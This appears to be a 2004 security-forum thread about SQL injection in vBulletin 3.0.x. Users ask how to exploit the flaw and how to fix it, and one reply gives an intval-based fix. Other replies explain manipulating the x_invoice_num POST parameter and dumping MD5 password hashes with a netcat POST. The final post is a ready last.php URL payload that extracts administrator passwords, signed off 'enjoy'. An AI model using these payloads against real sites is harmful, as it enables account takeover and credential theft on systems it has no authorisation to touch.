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Sql Inject In VB 3.0.x !! |
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 Posted: Thu Sep 16, 2004 8:18 am |
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| Zilly |
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| Joined: Sep 10, 2004 |
| Posts: 7 |
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hi every body ,, thanx for the nice forums i like it 
any way i want every body to take a look at this
http://www.securiteam.com/unixfocus/5BP0E15E0M.html
 well, its sql inject,, i'm studying it this days and i kinda wana help in this,
how to Execute this security hole and another important thing is how to fix it ??
thats all folks  |
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Zilly is Here |
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Re: Sql Inject In VB 3.0.x !! |
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| Posted: Thu Sep 16, 2004 10:39 am |
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| Heintz |
| Valuable expert |
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| Joined: Jun 12, 2004 |
| Posts: 88 |
| Location: Estonia/Sweden |
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| Zilly wrote: | hi every body ,, thanx for the nice forums i like it
any way i want every body to take a look at this
http://www.securiteam.com/unixfocus/5BP0E15E0M.html
well, its sql inject,, i'm studying it this days and i kinda wana help in this,
how to Execute this security hole and another important thing is how to fix it ??
thats all folks |
strange thing is that intval()- is used to get the value, but not used before passing to query  .
anyway the trick is to "continue" (in this case here) sql query.
query ends like this: userid = " . $item_number[1]
so you POST your value to item_number. name of it is x_invoice_num and its value is something like valuea_valueb_valuec, ju must manipulate valueb, lets assume you posted something like this:
then (depends on viewing part of script) you should see somewhere on the page, a list of tables that are in that database. and with little thinking you make more "useful" queries that this
hint: mysql manual
fixing:
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$item_number[1] = abs(intval($item_number[1]));
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add this line somewhere before the query, and it should do it |
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AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!" |
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| Posted: Fri Sep 17, 2004 5:41 am |
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| Zilly |
| Regular user |
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| Joined: Sep 10, 2004 |
| Posts: 7 |
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thanx Heintz,, well i know some how that the file that contains the sql inject is authorize.php
what i'm tryin to do now is to inject but can i ask a question ??
when we use the authorize.php ?
i mean in normal not injecting ??
and thanx again ,,
Zilly |
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Zilly is Here |
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| Posted: Fri Sep 17, 2004 4:13 pm |
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| zer0-c00l |
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| Joined: Jun 25, 2004 |
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| Posted: Fri Sep 17, 2004 5:35 pm |
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| hebe |
| Advanced user |
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| Joined: Sep 04, 2004 |
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| is there any exploit for this |
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| Posted: Fri Sep 17, 2004 8:49 pm |
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| SteX |
| Advanced user |
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| Joined: May 18, 2004 |
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_________________
We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
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| Posted: Sun Sep 19, 2004 8:42 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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I have played a little bit with that security bug and got some results.
Will share them tomorrow in this thread, so stay tuned!!! |
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| Posted: Wed Sep 22, 2004 8:36 pm |
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| Zilly |
| Regular user |
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| Joined: Sep 10, 2004 |
| Posts: 7 |
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wow thanx man
my brain has been exploed LOL
this time really i will not change the channel
Zilly |
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Zilly is Here |
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| Posted: Tue Nov 09, 2004 6:48 pm |
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| Zilly |
| Regular user |
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| Joined: Sep 10, 2004 |
| Posts: 7 |
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after searching and reading and like this stuff
i found that i can excute this expliot by netcat
ex:
nc -n -v ***.***.***.*** 80
then i have to enter some POST command
after that i'll get the MD5 hash password ..
okay now we are near ...
and i need help also ..
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Zilly is Here |
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| Posted: Fri Nov 12, 2004 6:10 pm |
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| LINUX |
| Moderator |
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| Joined: May 24, 2004 |
| Posts: 404 |
| Location: Caiman |
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new SQL injection found in VBulletin Forums 3.0.x
the Vulnerabilite found in last.php, last 10 topics hack.
last.php?fsel=,user.password%20as%20title,user.%20
%20%20%20username%20as%20lastposter%20FROM%20user,
thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT%201
enjoy |
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